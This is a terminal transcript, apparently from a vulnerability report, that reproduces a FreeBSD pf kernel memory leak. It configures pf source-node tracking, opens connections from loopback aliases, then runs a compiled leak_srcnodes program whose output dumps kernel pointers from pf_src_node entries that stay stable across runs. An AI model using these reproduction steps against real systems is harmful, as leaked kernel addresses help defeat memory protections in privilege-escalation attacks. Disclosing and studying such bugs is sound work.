=== setup ===
$ kldload pf.ko
$ pfctl -f srcnodes.conf && pfctl -e        # pass in quick on lo0 inet proto tcp from any to 127.0.0.1 port 65001 keep state (max-src-states 100)
pf enabled
$ for i in 2 3 4 5 6 7 8; do ifconfig lo0 127.0.0.$i netmask 255.0.0.0 alias; done
$ for ip in 127.0.0.2 127.0.0.3 127.0.0.4 127.0.0.5 127.0.0.6 127.0.0.7 127.0.0.8; do ./conn2 $ip & done; wait
$ cc -O2 -o leak_srcnodes leak_srcnodes.c
$ ./leak_srcnodes        # fd opened O_RDONLY
10 src node(s), sizeof(pf_src_node)=152
node 0:
  +0010: 0xfffff8008bb64500   <-- kernel pointer
  +0018: 0x0000000000000001
  +0020: 0x000000000100007f
  ...
node 1:
  +0000: 0xfffff8008bb64460   <-- kernel pointer
  +0008: 0xfffff8008bb645a0   <-- kernel pointer
  +0020: 0x000000000300007f
  ...
node 3:
  +0010: 0xfffff8011757d6e0   <-- kernel pointer
node 4:
  +0000: 0xfffff8011757d5a0   <-- kernel pointer
  +0008: 0xfffff8011757d640   <-- kernel pointer
node 8:
  +0008: 0xfffff8011760eb40   <-- kernel pointer
node 9:
  +0010: 0xfffff8011760eaa0   <-- kernel pointer
(full output: leak_sample.txt; earlier dump minutes before reproduced the
 same values, e.g. 0xfffff8008bb64500 stable across both runs)